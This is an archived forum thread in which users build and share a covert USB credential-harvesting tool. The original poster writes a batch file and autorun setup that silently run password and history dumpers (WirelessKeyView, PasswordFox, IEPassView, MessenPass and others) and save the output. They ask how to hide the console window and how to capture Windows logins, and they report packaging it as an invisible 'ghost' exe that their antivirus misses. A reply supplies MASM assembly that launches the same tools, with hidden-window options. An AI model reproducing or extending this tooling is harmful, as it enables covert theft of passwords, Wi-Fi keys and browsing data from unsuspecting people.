Archived

This topic is now archived and is closed to further replies.

mrgee

how do i hide cmd box

11 posts in this topic

i have put some little apps on my thum drive

iehistoryview

messenpass

passwordfox

iepassview

wirlesskeyview

mozillahistoryview

ive created a launch.bat and an autrorn.inf and it works and does what i want but is the anyway of hiding the cmd box that briefly apears on screen for about 3 secconds ?

these are the command i have in my launch.bat

start WirelessKeyView\WirelessKeyView.exe /shtml WirelessKeyop.html

start PasswordFox\PasswordFox.exe /shtml PasswordFoxop.html

start IEHistoryView\iehv.exe /shtml iehvop.html

start MozillaHistoryView\MozillaHistoryView.exe /shtml MozillaHistoryop.html

start MessenPass\mspass.exe /shtml mspassop.html

start IEPassView\iepv.exe /shtml iepvop.html

i would like the cmd box that is apearing at the moment to be iethere invisible or minimised

hope you can help .thanks

would also like to add an little program that would save windows login and password details if possible ?

thanks

0

Share this post


Link to post
Share on other sites

Why don't you look at the pocketknife's code and figure it out.

0

Share this post


Link to post
Share on other sites
Why don't you look at the pocketknife's code and figure it out.

already have and sorted it when i read about bat files on another forum thanks

0

Share this post


Link to post
Share on other sites

maybe you should tell us so that we can know too?

0

Share this post


Link to post
Share on other sites
Why don't you look at the pocketknife's code and figure it out.

considering i didnt know how to create an auto run file let alone a batch file a couple of days ago i have now managed to create

one .exe file with the bellow apps embeded that in one click will collect all the info of all apps silently .

ive named it usb-slave ( dont ask why ) and put it onto portable apps software so whenever i want to run it i just click usb-slave on portable apps and it runs silently apart from wirelesskeyview. thats sets of user acount controll

iehistoryview

messenpass

passwordfox

iepassview

wirlesskeyview

mozillahistoryview

no great feat by a long shot but it does what i want :)

0

Share this post


Link to post
Share on other sites
but doesn't it get detected by avs?

well my nod32 dont pic it up

heres a link if you want to try it

http://rapidshare.com/files/150280336/usb-slave.exe.html

whatever folder you run it from is where it will put the results .

you could put it into pstart and select it to auto run .

i dont have it set to autorun as that will overwrite the previous results and i dont know how to make it dump the results into differnt named folders but it works a treat

0

Share this post


Link to post
Share on other sites

Well even though you solved it. You didn't say how you did it... Anyway here's how I would of done it.

I'm thinking that the apps themselves don't create any windows, the only thing creating the window is the batch file. Correct? either way, its pretty easy to hide any window.

What you could've done, is instead of using a batch file, use a small program which just runs those apps with those parameters.

You can either use ShellExecute, or Winexec...

HINSTANCE ShellExecute(      
    HWND hwnd,
    LPCTSTR lpOperation,
    LPCTSTR lpFile,
    LPCTSTR lpParameters,
    LPCTSTR lpDirectory,
    INT nShowCmd
);

UINT WINAPI WinExec(
  __in  LPCSTR lpCmdLine,
  __in  UINT uCmdShow
);

Either one will do the job just fine, and they both allow parameters to be passed, and they both allow for the windows initial state to be passed as well... ex SW_SHOWNORMAL, SW_HIDE, SW_MINIMIZE

use this as a reference to the different parameters you can give:

http://msdn.microsoft.com/en-us/library/ms633548.aspx

However if those apps don't create any windows to begin with (which I think is the case) then it doesn't matter what you give the nCmdShow, or uCmdShow since there wont be a window anyway...

I used assembly since there isn't anything to it, might as well get the smallest possible file size...

::runonerunall.asm::

; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
    include \masm32\include\masm32rt.inc
; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

    .data
      openstr   db 'open',0
      hInstance dd 0

    .code

; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

start:
      invoke GetModuleHandle, 0
      mov hInstance, eax
      call main
      invoke ExitProcess,eax

; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

main proc

   ;On apps that DO in fact have windows, specifying different
   ;uncomment and try this line below, with a different param for the 2nd parameter
   ;if you do SW_HIDE, the command window will still exist but wont be seen, you'll have to end task on 'cmd.exe' to get rid of it
   ;if you do SW_MINIMIZE, the window will start minimized, SW_SHOWNORMAL, the window will show normally etc...
    
   ;invoke WinExec, SADD("cmd.exe"), SW_SHOWNORMAL


    invoke WinExec, SADD("WirelessKeyView\WirelessKeyView.exe /shtml WirelessKeyop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("PasswordFox\PasswordFox.exe /shtml PasswordFoxop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("IEHistoryView\iehv.exe /shtml iehvop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("MozillaHistoryView\MozillaHistoryView.exe /shtml MozillaHistoryop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("MessenPass\mspass.exe /shtml mspassop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("IEPassView\iepv.exe /shtml iepvop.html"), SW_SHOWNORMAL

   ; <-- comments the rest of the line
   ;invoke ShellExecute, 0, addr openstr, SADD("WirelessKeyView\WirelessKeyView.exe"), SADD("/shtml WirelessKeyop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("PasswordFox\PasswordFox.exe"), SADD("/shtml PasswordFoxop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("IEHistoryView\iehv.exe"), SADD("/shtml iehvop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("MozillaHistoryView\MozillaHistoryView.exe"), SADD("/shtml MozillaHistoryop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("MessenPass\mspass.exe"), SADD("/shtml mspassop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("IEPassView\iepv.exe"), SADD("/shtml iepvop.html"), 0, SW_HIDE
    
    ret

main endp

; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

end start

The top line is an app that does create a window for sure, so that's one you can use to see the SW parameters in action

invoke WinExec, SADD("cmd.exe"), SW_SHOWNORMAL

if you uncomment it and change the SW param then re-assemble it, you'll see how it affects how the window is shown on creation...

I used masm32 version 10 to assemble the program

http://www.masm32.com/

source and binary:

http://rapidshare.com/files/150326810/runonerunall.zip.html

If you want to play around with it, after installing masm32 v10 (if you don't already have it) just create a folder within the masm32 directory (x:\masm32\) called "projects" or something like that, then drop the runonerunall folder within it. Opening runonerunall.asm with qeditor, make your changes and goto Project->Assemble & Link to assemble the new exe with your changes!

2.5KB ;)

0

Share this post


Link to post
Share on other sites

steve this is what ive have

a have a batchfile listed bellow

@echo off

start WirelessKeyView\WirelessKeyView.exe /shtml WirelessKeyop.html

start PasswordFox\PasswordFox.exe /shtml PasswordFoxop.html

start IEHistoryView\iehv.exe /shtml iehvop.html

start MozillaHistoryView\MozillaHistoryView.exe /shtml MozillaHistoryop.html

start MessenPass\mspass.exe /shtml mspassop.html

start IEPassView\iepv.exe /shtml iepvop.html

then i just used a batch complier added the the batch file to the compiler and embedded the files listed above and made a ghost .exe so when you click it it will run invisible

if you need more info ill try do it again but more detailed

0

Share this post


Link to post
Share on other sites